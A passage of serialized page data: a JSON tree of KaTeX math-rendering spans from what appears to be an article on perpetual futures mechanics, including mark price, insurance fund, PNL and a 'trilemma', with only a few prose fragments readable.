tyle":122709},[4822,22381],[162973],{"type":27,"value":2692},{"type":21,"tag":198,"props":162975,"children":162977},{"className":162976},[4837],[162978],{"type":21,"tag":198,"props":162979,"children":162981},{"className":162980},[4842,22435],[162982,163011],{"type":21,"tag":198,"props":162983,"children":162985},{"className":162984},[4847],[162986,163006],{"type":21,"tag":198,"props":162987,"children":162989},{"className":162988,"style":93958},[4852],[162990],{"type":21,"tag":198,"props":162991,"children":162992},{"style":161657},[162993,162997],{"type":21,"tag":198,"props":162994,"children":162996},{"className":162995,"style":4862},[4861],[],{"type":21,"tag":198,"props":162998,"children":163000},{"className":162999},[4867,4868,4869,4870],[163001],{"type":21,"tag":198,"props":163002,"children":163004},{"className":163003},[4822,22381,4870],[163005],{"type":27,"value":4544},{"type":21,"tag":198,"props":163007,"children":163009},{"className":163008},[22538],[163010],{"type":27,"value":22541},{"type":21,"tag":198,"props":163012,"children":163014},{"className":163013},[4847],[163015],{"type":21,"tag":198,"props":163016,"children":163018},{"className":163017,"style":93512},[4852],[163019],{"type":21,"tag":198,"props":163020,"children":163021},{},[],{"type":21,"tag":198,"props":163023,"children":163024},{"style":114002},[163025,163029],{"type":21,"tag":198,"props":163026,"children":163028},{"className":163027,"style":112600},[4861],[],{"type":21,"tag":198,"props":163030,"children":163032},{"className":163031,"style":114012},[114011],[],{"type":21,"tag":198,"props":163034,"children":163035},{"style":159589},[163036,163040],{"type":21,"tag":198,"props":163037,"children":163039},{"className":163038,"style":112600},[4861],[],{"type":21,"tag":198,"props":163041,"children":163043},{"className":163042},[4822],[163044],{"type":21,"tag":198,"props":163045,"children":163047},{"className":163046},[4822],[163048,163053],{"type":21,"tag":198,"props":163049,"children":163051},{"className":163050},[4822,22381],[163052],{"type":27,"value":20070},{"type":21,"tag":198,"props":163054,"children":163056},{"className":163055},[4837],[163057],{"type":21,"tag":198,"props":163058,"children":163060},{"className":163059},[4842,22435],[163061,163090],{"type":21,"tag":198,"props":163062,"children":163064},{"className":163063},[4847],[163065,163085],{"type":21,"tag":198,"props":163066,"children":163068},{"className":163067,"style":93958},[4852],[163069],{"type":21,"tag":198,"props":163070,"children":163071},{"style":93485},[163072,163076],{"type":21,"tag":198,"props":163073,"children":163075},{"className":163074,"style":4862},[4861],[],{"type":21,"tag":198,"props":163077,"children":163079},{"className":163078},[4867,4868,4869,4870],[163080],{"type":21,"tag":198,"props":163081,"children":163083},{"className":163082},[4822,22381,4870],[163084],{"type":27,"value":4544},{"type":21,"tag":198,"props":163086,"children":163088},{"className":163087},[22538],[163089],{"type":27,"value":22541},{"type":21,"tag":198,"props":163091,"children":163093},{"className":163092},[4847],[163094],{"type":21,"tag":198,"props":163095,"children":163097},{"className":163096,"style":93512},[4852],[163098],{"type":21,"tag":198,"props":163099,"children":163100},{},[],{"type":21,"tag":198,"props":163102,"children":163104},{"className":163103},[22538],[163105],{"type":27,"value":22541},{"type":21,"tag":198,"props":163107,"children":163109},{"className":163108},[4847],[163110],{"type":21,"tag":198,"props":163111,"children":163114},{"className":163112,"style":163113},[4852],"height:0.836em;",[163115],{"type":21,"tag":198,"props":163116,"children":163117},{},[],{"type":21,"tag":198,"props":163119,"children":163121},{"className":163120},[22532,113947],[],{"type":21,"tag":198,"props":163123,"children":163124},{"style":161828},[163125,163129],{"type":21,"tag":198,"props":163126,"children":163128},{"className":163127,"style":161329},[4861],[],{"type":21,"tag":198,"props":163130,"children":163132},{"className":163131},[4822],[163133,163137,163141,163146,163150,163220,163224],{"type":21,"tag":198,"props":163134,"children":163136},{"className":163135},[4822],[],{"type":21,"tag":198,"props":163138,"children":163140},{"className":163139,"style":4998},[4901],[],{"type":21,"tag":198,"props":163142,"children":163144},{"className":163143},[5003],[163145],{"type":27,"value":3174},{"type":21,"tag":198,"props":163147,"children":163149},{"className":163148,"style":4998},[4901],[],{"type":21,"tag":198,"props":163151,"children":163154},{"className":163152},[22417,163153],"op-limits",[163155],{"type":21,"tag":198,"props":163156,"children":163158},{"className":163157},[4842,22435],[163159,163208],{"type":21,"tag":198,"props":163160,"children":163162},{"className":163161},[4847],[163163,163203],{"type":21,"tag":198,"props":163164,"children":163167},{"className":163165,"style":163166},[4852],"height:1.05em;",[163168,163186],{"type":21,"tag":198,"props":163169,"children":163171},{"style":163170},"top:-1.8723em;margin-left:0em;",[163172,163177],{"type":21,"tag":198,"props":163173,"children":163176},{"className":163174,"style":163175},[4861],"height:3.05em;",[],{"type":21,"tag":198,"props":163178,"children":163180},{"className":163179},[4867,4868,4869,4870],[163181],{"type":21,"tag":198,"props":163182,"children":163184},{"className":163183},[4822,22381,4870],[163185],{"type":27,"value":4544},{"type":21,"tag":198,"props":163187,"children":163189},{"style":163188},"top:-3.05em;",[163190,163194],{"type":21,"tag":198,"props":163191,"children":163193},{"className":163192,"style":163175},[4861],[],{"type":21,"tag":198,"props":163195,"children":163196},{},[163197],{"type":21,"tag":198,"props":163198,"children":163201},{"className":163199},[22417,22422,163200],"large-op",[163202],{"type":27,"value":109224},{"type":21,"tag":198,"props":163204,"children":163206},{"className":163205},[22538],[163207],{"type":27,"value":22541},{"type":21,"tag":198,"props":163209,"children":163211},{"className":163210},[4847],[163212],{"type":21,"tag":198,"props":163213,"children":163216},{"className":163214,"style":163215},[4852],"height:1.2777em;",[163217],{"type":21,"tag":198,"props":163218,"children":163219},{},[],{"type":21,"tag":198,"props":163221,"children":163223},{"className":163222,"style":4939},[4901],[],{"type":21,"tag":198,"props":163225,"children":163227},{"className":163226},[4822],[163228,163233],{"type":21,"tag":198,"props":163229,"children":163231},{"className":163230},[4822,22381],[163232],{"type":27,"value":20070},{"type":21,"tag":198,"props":163234,"children":163236},{"className":163235},[4837],[163237],{"type":21,"tag":198,"props":163238,"children":163240},{"className":163239},[4842,22435],[163241,163270],{"type":21,"tag":198,"props":163242,"children":163244},{"className":163243},[4847],[163245,163265],{"type":21,"tag":198,"props":163246,"children":163248},{"className":163247,"style":93958},[4852],[163249],{"type":21,"tag":198,"props":163250,"children":163251},{"style":93485},[163252,163256],{"type":21,"tag":198,"props":163253,"children":163255},{"className":163254,"style":4862},[4861],[],{"type":21,"tag":198,"props":163257,"children":163259},{"className":163258},[4867,4868,4869,4870],[163260],{"type":21,"tag":198,"props":163261,"children":163263},{"className":163262},[4822,22381,4870],[163264],{"type":27,"value":4544},{"type":21,"tag":198,"props":163266,"children":163268},{"className":163267},[22538],[163269],{"type":27,"value":22541},{"type":21,"tag":198,"props":163271,"children":163273},{"className":163272},[4847],[163274],{"type":21,"tag":198,"props":163275,"children":163277},{"className":163276,"style":93512},[4852],[163278],{"type":21,"tag":198,"props":163279,"children":163280},{},[],{"type":21,"tag":198,"props":163282,"children":163283},{"style":161897},[163284,163288],{"type":21,"tag":198,"props":163285,"children":163287},{"className":163286,"style":161329},[4861],[],{"type":21,"tag":198,"props":163289,"children":163291},{"className":163290},[4822],[163292,163296,163300,163305,163309,163372,163376,163381,163386,163391,163448,163453,163457,163461,163466],{"type":21,"tag":198,"props":163293,"children":163295},{"className":163294},[4822],[],{"type":21,"tag":198,"props":163297,"children":163299},{"className":163298,"style":4998},[4901],[],{"type":21,"tag":198,"props":163301,"children":163303},{"className":163302},[5003],[163304],{"type":27,"value":3174},{"type":21,"tag":198,"props":163306,"children":163308},{"className":163307,"style":4998},[4901],[],{"type":21,"tag":198,"props":163310,"children":163312},{"className":163311},[22417,163153],[163313],{"type":21,"tag":198,"props":163314,"children":163316},{"className":163315},[4842,22435],[163317,163361],{"type":21,"tag":198,"props":163318,"children":163320},{"className":163319},[4847],[163321,163356],{"type":21,"tag":198,"props":163322,"children":163324},{"className":163323,"style":163166},[4852],[163325,163341],{"type":21,"tag":198,"props":163326,"children":163327},{"style":163170},[163328,163332],{"type":21,"tag":198,"props":163329,"children":163331},{"className":163330,"style":163175},[4861],[],{"type":21,"tag":198,"props":163333,"children":163335},{"className":163334},[4867,4868,4869,4870],[163336],{"type":21,"tag":198,"props":163337,"children":163339},{"className":163338},[4822,22381,4870],[163340],{"type":27,"value":4544},{"type":21,"tag":198,"props":163342,"children":163343},{"style":163188},[163344,163348],{"type":21,"tag":198,"props":163345,"children":163347},{"className":163346,"style":163175},[4861],[],{"type":21,"tag":198,"props":163349,"children":163350},{},[163351],{"type":21,"tag":198,"props":163352,"children":163354},{"className":163353},[22417,22422,163200],[163355],{"type":27,"value":109224},{"type":21,"tag":198,"props":163357,"children":163359},{"className":163358},[22538],[163360],{"type":27,"value":22541},{"type":21,"tag":198,"props":163362,"children":163364},{"className":163363},[4847],[163365],{"type":21,"tag":198,"props":163366,"children":163368},{"className":163367,"style":163215},[4852],[163369],{"type":21,"tag":198,"props":163370,"children":163371},{},[],{"type":21,"tag":198,"props":163373,"children":163375},{"className":163374,"style":4939},[4901],[],{"type":21,"tag":198,"props":163377,"children":163379},{"className":163378},[22417],[163380],{"type":27,"value":161043},{"type":21,"tag":198,"props":163382,"children":163384},{"className":163383},[22510],[163385],{"type":27,"value":706},{"type":21,"tag":198,"props":163387,"children":163389},{"className":163388},[4822],[163390],{"type":27,"value":4881},{"type":21,"tag":198,"props":163392,"children":163394},{"className":163393},[4822],[163395,163400],{"type":21,"tag":198,"props":163396,"children":163398},{"className":163397},[4822,22381],[163399],{"type":27,"value":51830},{"type":21,"tag":198,"props":163401,"children":163403},{"className":163402},[4837],[163404],{"type":21,"tag":198,"props":163405,"children":163407},{"className":163406},[4842,22435],[163408,163437],{"type":21,"tag":198,"props":163409,"children":163411},{"className":163410},[4847],[163412,163432],{"type":21,"tag":198,"props":163413,"children":163415},{"className":163414,"style":93958},[4852],[163416],{"type":21,"tag":198,"props":163417,"children":163418},{"style":93485},[163419,163423],{"type":21,"tag":198,"props":163420,"children":163422},{"className":163421,"style":4862},[4861],[],{"type":21,"tag":198,"props":163424,"children":163426},{"className":163425},[4867,4868,4869,4870],[163427],{"type":21,"tag":198,"props":163428,"children":163430},{"className":163429},[4822,22381,4870],[163431],{"type":27,"value":4544},{"type":21,"tag":198,"props":163433,"children":163435},{"className":163434},[22538],[163436],{"type":27,"value":22541},{"type":21,"tag":198,"props":163438,"children":163440},{"className":163439},[4847],[163441],{"type":21,"tag":198,"props":163442,"children":163444},{"className":163443,"style":93512},[4852],[163445],{"type":21,"tag":198,"props":163446,"children":163447},{},[],{"type":21,"tag":198,"props":163449,"children":163451},{"className":163450},[4933],[163452],{"type":27,"value":2205},{"type":21,"tag":198,"props":163454,"children":163456},{"className":163455,"style":4939},[4901],[],{"type":21,"tag":198,"props":163458,"children":163460},{"className":163459,"style":4939},[4901],[],{"type":21,"tag":198,"props":163462,"children":163464},{"className":163463},[4822],[163465],{"type":27,"value":3482},{"type":21,"tag":198,"props":163467,"children":163469},{"className":163468},[22532],[163470],{"type":27,"value":2109},{"type":21,"tag":198,"props":163472,"children":163473},{"style":161967},[163474,163478],{"type":21,"tag":198,"props":163475,"children":163477},{"className":163476,"style":161329},[4861],[],{"type":21,"tag":198,"props":163479,"children":163481},{"className":163480},[4822],[163482,163486,163490,163495,163499,163562,163566],{"type":21,"tag":198,"props":163483,"children":163485},{"className":163484},[4822],[],{"type":21,"tag":198,"props":163487,"children":163489},{"className":163488,"style":4998},[4901],[],{"type":21,"tag":198,"props":163491,"children":163493},{"className":163492},[5003],[163494],{"type":27,"value":3174},{"type":21,"tag":198,"props":163496,"children":163498},{"className":163497,"style":4998},[4901],[],{"type":21,"tag":198,"props":163500,"children":163502},{"className":163501},[22417,163153],[163503],{"type":21,"tag":198,"props":163504,"children":163506},{"className":163505},[4842,22435],[163507,163551],{"type":21,"tag":198,"props":163508,"children":163510},{"className":163509},[4847],[163511,163546],{"type":21,"tag":198,"props":163512,"children":163514},{"className":163513,"style":163166},[4852],[163515,163531],{"type":21,"tag":198,"props":163516,"children":163517},{"style":163170},[163518,163522],{"type":21,"tag":198,"props":163519,"children":163521},{"className":163520,"style":163175},[4861],[],{"type":21,"tag":198,"props":163523,"children":163525},{"className":163524},[4867,4868,4869,4870],[163526],{"type":21,"tag":198,"props":163527,"children":163529},{"className":163528},[4822,22381,4870],[163530],{"type":27,"value":4544},{"type":21,"tag":198,"props":163532,"children":163533},{"style":163188},[163534,163538],{"type":21,"tag":198,"props":163535,"children":163537},{"className":163536,"style":163175},[4861],[],{"type":21,"tag":198,"props":163539,"children":163540},{},[163541],{"type":21,"tag":198,"props":163542,"children":163544},{"className":163543},[22417,22422,163200],[163545],{"type":27,"value":109224},{"type":21,"tag":198,"props":163547,"children":163549},{"className":163548},[22538],[163550],{"type":27,"value":22541},{"type":21,"tag":198,"props":163552,"children":163554},{"className":163553},[4847],[163555],{"type":21,"tag":198,"props":163556,"children":163558},{"className":163557,"style":163215},[4852],[163559],{"type":21,"tag":198,"props":163560,"children":163561},{},[],{"type":21,"tag":198,"props":163563,"children":163565},{"className":163564,"style":4939},[4901],[],{"type":21,"tag":198,"props":163567,"children":163569},{"className":163568},[4822],[163570,163575],{"type":21,"tag":198,"props":163571,"children":163573},{"className":163572,"style":122709},[4822,22381],[163574],{"type":27,"value":2692},{"type":21,"tag":198,"props":163576,"children":163578},{"className":163577},[4837],[163579],{"type":21,"tag":198,"props":163580,"children":163582},{"className":163581},[4842,22435],[163583,163612],{"type":21,"tag":198,"props":163584,"children":163586},{"className":163585},[4847],[163587,163607],{"type":21,"tag":198,"props":163588,"children":163590},{"className":163589,"style":93958},[4852],[163591],{"type":21,"tag":198,"props":163592,"children":163593},{"style":161657},[163594,163598],{"type":21,"tag":198,"props":163595,"children":163597},{"className":163596,"style":4862},[4861],[],{"type":21,"tag":198,"props":163599,"children":163601},{"className":163600},[4867,4868,4869,4870],[163602],{"type":21,"tag":198,"props":163603,"children":163605},{"className":163604},[4822,22381,4870],[163606],{"type":27,"value":4544},{"type":21,"tag":198,"props":163608,"children":163610},{"className":163609},[22538],[163611],{"type":27,"value":22541},{"type":21,"tag":198,"props":163613,"children":163615},{"className":163614},[4847],[163616],{"type":21,"tag":198,"props":163617,"children":163619},{"className":163618,"style":93512},[4852],[163620],{"type":21,"tag":198,"props":163621,"children":163622},{},[],{"type":21,"tag":198,"props":163624,"children":163625},{"style":162038},[163626,163630],{"type":21,"tag":198,"props":163627,"children":163629},{"className":163628,"style":161329},[4861],[],{"type":21,"tag":198,"props":163631,"children":163633},{"className":163632},[4822],[163634,163638,163642,163647,163651,163656,163661,163718,163722,163727,163731,163736,163740,163745,163749,163806,163811,163815,163819,163824],{"type":21,"tag":198,"props":163635,"children":163637},{"className":163636},[4822],[],{"type":21,"tag":198,"props":163639,"children":163641},{"className":163640,"style":4998},[4901],[],{"type":21,"tag":198,"props":163643,"children":163645},{"className":163644},[5003],[163646],{"type":27,"value":3174},{"type":21,"tag":198,"props":163648,"children":163650},{"className":163649,"style":4998},[4901],[],{"type":21,"tag":198,"props":163652,"children":163654},{"className":163653},[22417],[163655],{"type":27,"value":161043},{"type":21,"tag":198,"props":163657,"children":163659},{"className":163658},[22510],[163660],{"type":27,"value":706},{"type":21,"tag":198,"props":163662,"children":163664},{"className":163663},[4822],[163665,163670],{"type":21,"tag":198,"props":163666,"children":163668},{"className":163667,"style":93429},[4822,22381],[163669],{"type":27,"value":161916},{"type":21,"tag":198,"props":163671,"children":163673},{"className":163672},[4837],[163674],{"type":21,"tag":198,"props":163675,"children":163677},{"className":163676},[4842,22435],[163678,163707],{"type":21,"tag":198,"props":163679,"children":163681},{"className":163680},[4847],[163682,163702],{"type":21,"tag":198,"props":163683,"children":163685},{"className":163684,"style":142984},[4852],[163686],{"type":21,"tag":198,"props":163687,"children":163688},{"style":110428},[163689,163693],{"type":21,"tag":198,"props":163690,"children":163692},{"className":163691,"style":4862},[4861],[],{"type":21,"tag":198,"props":163694,"children":163696},{"className":163695},[4867,4868,4869,4870],[163697],{"type":21,"tag":198,"props":163698,"children":163700},{"className":163699,"style":22382},[4822,22381,4870],[163701],{"type":27,"value":6800},{"type":21,"tag":198,"props":163703,"children":163705},{"className":163704},[22538],[163706],{"type":27,"value":22541},{"type":21,"tag":198,"props":163708,"children":163710},{"className":163709},[4847],[163711],{"type":21,"tag":198,"props":163712,"children":163714},{"className":163713,"style":93512},[4852],[163715],{"type":21,"tag":198,"props":163716,"children":163717},{},[],{"type":21,"tag":198,"props":163719,"children":163721},{"className":163720,"style":4902},[4901],[],{"type":21,"tag":198,"props":163723,"children":163725},{"className":163724},[4907],[163726],{"type":27,"value":4881},{"type":21,"tag":198,"props":163728,"children":163730},{"className":163729,"style":4902},[4901],[],{"type":21,"tag":198,"props":163732,"children":163734},{"className":163733,"style":95449},[4822,22381],[163735],{"type":27,"value":95483},{"type":21,"tag":198,"props":163737,"children":163739},{"className":163738,"style":4902},[4901],[],{"type":21,"tag":198,"props":163741,"children":163743},{"className":163742},[4907],[163744],{"type":27,"value":4881},{"type":21,"tag":198,"props":163746,"children":163748},{"className":163747,"style":4902},[4901],[],{"type":21,"tag":198,"props":163750,"children":163752},{"className":163751},[4822],[163753,163758],{"type":21,"tag":198,"props":163754,"children":163756},{"className":163755,"style":93663},[4822,22381],[163757],{"type":27,"value":93666},{"type":21,"tag":198,"props":163759,"children":163761},{"className":163760},[4837],[163762],{"type":21,"tag":198,"props":163763,"children":163765},{"className":163764},[4842,22435],[163766,163795],{"type":21,"tag":198,"props":163767,"children":163769},{"className":163768},[4847],[163770,163790],{"type":21,"tag":198,"props":163771,"children":163773},{"className":163772,"style":142984},[4852],[163774],{"type":21,"tag":198,"props":163775,"children":163776},{"style":110858},[163777,163781],{"type":21,"tag":198,"props":163778,"children":163780},{"className":163779,"style":4862},[4861],[],{"type":21,"tag":198,"props":163782,"children":163784},{"className":163783},[4867,4868,4869,4870],[163785],{"type":21,"tag":198,"props":163786,"children":163788},{"className":163787,"style":22382},[4822,22381,4870],[163789],{"type":27,"value":6800},{"type":21,"tag":198,"props":163791,"children":163793},{"className":163792},[22538],[163794],{"type":27,"value":22541},{"type":21,"tag":198,"props":163796,"children":163798},{"className":163797},[4847],[163799],{"type":21,"tag":198,"props":163800,"children":163802},{"className":163801,"style":93512},[4852],[163803],{"type":21,"tag":198,"props":163804,"children":163805},{},[],{"type":21,"tag":198,"props":163807,"children":163809},{"className":163808},[4933],[163810],{"type":27,"value":2205},{"type":21,"tag":198,"props":163812,"children":163814},{"className":163813,"style":4939},[4901],[],{"type":21,"tag":198,"props":163816,"children":163818},{"className":163817,"style":4939},[4901],[],{"type":21,"tag":198,"props":163820,"children":163822},{"className":163821},[4822],[163823],{"type":27,"value":3482},{"type":21,"tag":198,"props":163825,"children":163827},{"className":163826},[22532],[163828],{"type":27,"value":2109},{"type":21,"tag":198,"props":163830,"children":163832},{"className":163831},[22538],[163833],{"type":27,"value":22541},{"type":21,"tag":198,"props":163835,"children":163837},{"className":163836},[4847],[163838],{"type":21,"tag":198,"props":163839,"children":163841},{"className":163840,"style":162119},[4852],[163842],{"type":21,"tag":198,"props":163843,"children":163844},{},[],{"type":21,"tag":30,"props":163846,"children":163847},{},[163848,163849,163926,163928,163953,163955,164032,164034,164111],{"type":27,"value":706},{"type":21,"tag":194,"props":163850,"children":163852},{"className":163851},[4794,4795],[163853],{"type":21,"tag":198,"props":163854,"children":163856},{"className":163855},[4800],[163857],{"type":21,"tag":198,"props":163858,"children":163860},{"className":163859,"ariaHidden":4806},[4805],[163861],{"type":21,"tag":198,"props":163862,"children":163864},{"className":163863},[4811],[163865,163869],{"type":21,"tag":198,"props":163866,"children":163868},{"className":163867,"style":111426},[4816],[],{"type":21,"tag":198,"props":163870,"children":163872},{"className":163871},[4822],[163873,163878],{"type":21,"tag":198,"props":163874,"children":163876},{"className":163875,"style":22382},[4822,22381],[163877],{"type":27,"value":22385},{"type":21,"tag":198,"props":163879,"children":163881},{"className":163880},[4837],[163882],{"type":21,"tag":198,"props":163883,"children":163885},{"className":163884},[4842,22435],[163886,163915],{"type":21,"tag":198,"props":163887,"children":163889},{"className":163888},[4847],[163890,163910],{"type":21,"tag":198,"props":163891,"children":163893},{"className":163892,"style":109861},[4852],[163894],{"type":21,"tag":198,"props":163895,"children":163896},{"style":161362},[163897,163901],{"type":21,"tag":198,"props":163898,"children":163900},{"className":163899,"style":4862},[4861],[],{"type":21,"tag":198,"props":163902,"children":163904},{"className":163903},[4867,4868,4869,4870],[163905],{"type":21,"tag":198,"props":163906,"children":163908},{"className":163907},[4822,22381,4870],[163909],{"type":27,"value":56780},{"type":21,"tag":198,"props":163911,"children":163913},{"className":163912},[22538],[163914],{"type":27,"value":22541},{"type":21,"tag":198,"props":163916,"children":163918},{"className":163917},[4847],[163919],{"type":21,"tag":198,"props":163920,"children":163922},{"className":163921,"style":93512},[4852],[163923],{"type":21,"tag":198,"props":163924,"children":163925},{},[],{"type":27,"value":163927},": mark price from different sources; ",{"type":21,"tag":194,"props":163929,"children":163931},{"className":163930},[4794,4795],[163932],{"type":21,"tag":198,"props":163933,"children":163935},{"className":163934},[4800],[163936],{"type":21,"tag":198,"props":163937,"children":163939},{"className":163938,"ariaHidden":4806},[4805],[163940],{"type":21,"tag":198,"props":163941,"children":163943},{"className":163942},[4811],[163944,163948],{"type":21,"tag":198,"props":163945,"children":163947},{"className":163946,"style":22376},[4816],[],{"type":21,"tag":198,"props":163949,"children":163951},{"className":163950,"style":95449},[4822,22381],[163952],{"type":27,"value":95483},{"type":27,"value":163954},": insurance fund, roughly the 5M on testnet HL; ",{"type":21,"tag":194,"props":163956,"children":163958},{"className":163957},[4794,4795],[163959],{"type":21,"tag":198,"props":163960,"children":163962},{"className":163961},[4800],[163963],{"type":21,"tag":198,"props":163964,"children":163966},{"className":163965,"ariaHidden":4806},[4805],[163967],{"type":21,"tag":198,"props":163968,"children":163970},{"className":163969},[4811],[163971,163975],{"type":21,"tag":198,"props":163972,"children":163974},{"className":163973,"style":110399},[4816],[],{"type":21,"tag":198,"props":163976,"children":163978},{"className":163977},[4822],[163979,163984],{"type":21,"tag":198,"props":163980,"children":163982},{"className":163981,"style":93915},[4822,22381],[163983],{"type":27,"value":161500},{"type":21,"tag":198,"props":163985,"children":163987},{"className":163986},[4837],[163988],{"type":21,"tag":198,"props":163989,"children":163991},{"className":163990},[4842,22435],[163992,164021],{"type":21,"tag":198,"props":163993,"children":163995},{"className":163994},[4847],[163996,164016],{"type":21,"tag":198,"props":163997,"children":163999},{"className":163998,"style":93958},[4852],[164000],{"type":21,"tag":198,"props":164001,"children":164002},{"style":93962},[164003,164007],{"type":21,"tag":198,"props":164004,"children":164006},{"className":164005,"style":4862},[4861],[],{"type":21,"tag":198,"props":164008,"children":164010},{"className":164009},[4867,4868,4869,4870],[164011],{"type":21,"tag":198,"props":164012,"children":164014},{"className":164013},[4822,22381,4870],[164015],{"type":27,"value":4544},{"type":21,"tag":198,"props":164017,"children":164019},{"className":164018},[22538],[164020],{"type":27,"value":22541},{"type":21,"tag":198,"props":164022,"children":164024},{"className":164023},[4847],[164025],{"type":21,"tag":198,"props":164026,"children":164028},{"className":164027,"style":93512},[4852],[164029],{"type":21,"tag":198,"props":164030,"children":164031},{},[],{"type":27,"value":164033}," is PNL for longs, negated for shorts; ",{"type":21,"tag":194,"props":164035,"children":164037},{"className":164036},[4794,4795],[164038],{"type":21,"tag":198,"props":164039,"children":164041},{"className":164040},[4800],[164042],{"type":21,"tag":198,"props":164043,"children":164045},{"className":164044,"ariaHidden":4806},[4805],[164046],{"type":21,"tag":198,"props":164047,"children":164049},{"className":164048},[4811],[164050,164054],{"type":21,"tag":198,"props":164051,"children":164053},{"className":164052,"style":110399},[4816],[],{"type":21,"tag":198,"props":164055,"children":164057},{"className":164056},[4822],[164058,164063],{"type":21,"tag":198,"props":164059,"children":164061},{"className":164060,"style":122709},[4822,22381],[164062],{"type":27,"value":2692},{"type":21,"tag":198,"props":164064,"children":164066},{"className":164065},[4837],[164067],{"type":21,"tag":198,"props":164068,"children":164070},{"className":164069},[4842,22435],[164071,164100],{"type":21,"tag":198,"props":164072,"children":164074},{"className":164073},[4847],[164075,164095],{"type":21,"tag":198,"props":164076,"children":164078},{"className":164077,"style":93958},[4852],[164079],{"type":21,"tag":198,"props":164080,"children":164081},{"style":161657},[164082,164086],{"type":21,"tag":198,"props":164083,"children":164085},{"className":164084,"style":4862},[4861],[],{"type":21,"tag":198,"props":164087,"children":164089},{"className":164088},[4867,4868,4869,4870],[164090],{"type":21,"tag":198,"props":164091,"children":164093},{"className":164092},[4822,22381,4870],[164094],{"type":27,"value":4544},{"type":21,"tag":198,"props":164096,"children":164098},{"className":164097},[22538],[164099],{"type":27,"value":22541},{"type":21,"tag":198,"props":164101,"children":164103},{"className":164102},[4847],[164104],{"type":21,"tag":198,"props":164105,"children":164107},{"className":164106,"style":93512},[4852],[164108],{"type":21,"tag":198,"props":164109,"children":164110},{},[],{"type":27,"value":164112}," is the positive part of PNL.)",{"type":21,"tag":30,"props":164114,"children":164115},{},[164116],{"type":27,"value":164117},"And let's make the trilemma definitions concrete:",{"type":21,"tag":138,"props":164119,"children":164120},{},[164121,164595,165159],{"type":21,"tag":75,"props":164122,"children":164123},{},[164124,164128,164129,164383,164385,164436,164438,164541,164542,164593],{"type":21,"tag":1671,"props":164125,"children":164126},{},[164127],{"type":27,"value":161241},{"type":27,"value":33690},{"type":21,"tag":194,"props":164130,"children":164132},{"className":164131},[4794,4795],[164133],{"type":21,"tag":198,"props":164134,"children":164136},{"className":164135},[4800],[164137],{"type":21,"tag":198,"props":164138,"children":164140},{"className":164139,"ariaHidden":4806},[4805],[164141,164168],{"type":21,"tag":198,"props":164142,"children":164144},{"className":164143},[4811],[164145,164150,164155,164159,164164],{"type":21,"tag":198,"props":164146,"children":164149},{"className":164147,"style":164148},[4816],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":164151,"children":164153},{"className":164152},[4822],[164154],{"type":27,"value":134},{"type":21,"tag":198,"props":164156,"children":164158},{"className":164157,"style":4902},[4901],[],{"type":21,"tag":198,"props":164160,"children":164162},{"className":164161},[4907],[164163],{"type":27,"value":4881},{"type":21,"tag":198,"props":164165,"children":164167},{"className":164166,"style":4902},[4901],[],{"type":21,"tag":198,"props":164169,"children":164171},{"className":164170},[4811],[164172,164177],{"type":21,"tag":198,"props":164173,"children":164176},{"className":164174,"style":164175},[4816],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":21,"tag":198,"props":164178,"children":164180},{"className":164179},[4822],[164181,164185,164379],{"type":21,"tag":198,"props":164182,"children":164184},{"className":164183},[22510,113947],[],{"type":21,"tag":198,"props":164186,"children":164188},{"className":164187},[113952],[164189],{"type":21,"tag":198,"props":164190,"children":164192},{"className":164191},[4842,22435],[164193,164367],{"type":21,"tag":198,"props":164194,"children":164196},{"className":164195},[4847],[164197,164362],{"type":21,"tag":198,"props":164198,"children":164201},{"className":164199,"style":164200},[4852],"height:0.8884em;",[164202,164276,164287],{"type":21,"tag":198,"props":164203,"children":164204},{"style":113969},[164205,164209],{"type":21,"tag":198,"props":164206,"children":164208},{"className":164207,"style":112600},[4861],[],{"type":21,"tag":198,"props":164210,"children":164212},{"className":164211},[4867,4868,4869,4870],[164213],{"type":21,"tag":198,"props":164214,"children":164216},{"className":164215},[4822,4870],[164217],{"type":21,"tag":198,"props":164218,"children":164220},{"className":164219},[4822,4870],[164221,164226],{"type":21,"tag":198,"props":164222,"children":164224},{"className":164223,"style":93429},[4822,22381,4870],[164225],{"type":27,"value":161916},{"type":21,"tag":198,"props":164227,"children":164229},{"className":164228},[4837],[164230],{"type":21,"tag":198,"props":164231,"children":164233},{"className":164232},[4842,22435],[164234,164264],{"type":21,"tag":198,"props":164235,"children":164237},{"className":164236},[4847],[164238,164259],{"type":21,"tag":198,"props":164239,"children":164241},{"className":164240,"style":112761},[4852],[164242],{"type":21,"tag":198,"props":164243,"children":164245},{"style":164244},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[164246,164250],{"type":21,"tag":198,"props":164247,"children":164249},{"className":164248,"style":109289},[4861],[],{"type":21,"tag":198,"props":164251,"children":164253},{"className":164252},[4867,109294,109295,4870],[164254],{"type":21,"tag":198,"props":164255,"children":164257},{"className":164256,"style":22382},[4822,22381,4870],[164258],{"type":27,"value":6800},{"type":21,"tag":198,"props":164260,"children":164262},{"className":164261},[22538],[164263],{"type":27,"value":22541},{"type":21,"tag":198,"props":164265,"children":164267},{"className":164266},[4847],[164268],{"type":21,"tag":198,"props":164269,"children":164272},{"className":164270,"style":164271},[4852],"height:0.1433em;",[164273],{"type":21,"tag":198,"props":164274,"children":164275},{},[],{"type":21,"tag":198,"props":164277,"children":164278},{"style":114002},[164279,164283],{"type":21,"tag":198,"props":164280,"children":164282},{"className":164281,"style":112600},[4861],[],{"type":21,"tag":198,"props":164284,"children":164286},{"className":164285,"style":114012},[114011],[],{"type":21,"tag":198,"props":164288,"children":164290},{"style":164289},"top:-3.4101em;",[164291,164295],{"type":21,"tag":198,"props":164292,"children":164294},{"className":164293,"style":112600},[4861],[],{"type":21,"tag":198,"props":164296,"children":164298},{"className":164297},[4867,4868,4869,4870],[164299],{"type":21,"tag":198,"props":164300,"children":164302},{"className":164301},[4822,4870],[164303],{"type":21,"tag":198,"props":164304,"children":164306},{"className":164305},[4822,4870],[164307,164312],{"type":21,"tag":198,"props":164308,"children":164310},{"className":164309,"style":123206},[4822,22381,4870],[164311],{"type":27,"value":123209},{"type":21,"tag":198,"props":164313,"children":164315},{"className":164314},[4837],[164316],{"type":21,"tag":198,"props":164317,"children":164319},{"className":164318},[4842,22435],[164320,164351],{"type":21,"tag":198,"props":164321,"children":164323},{"className":164322},[4847],[164324,164346],{"type":21,"tag":198,"props":164325,"children":164328},{"className":164326,"style":164327},[4852],"height:0.2963em;",[164329],{"type":21,"tag":198,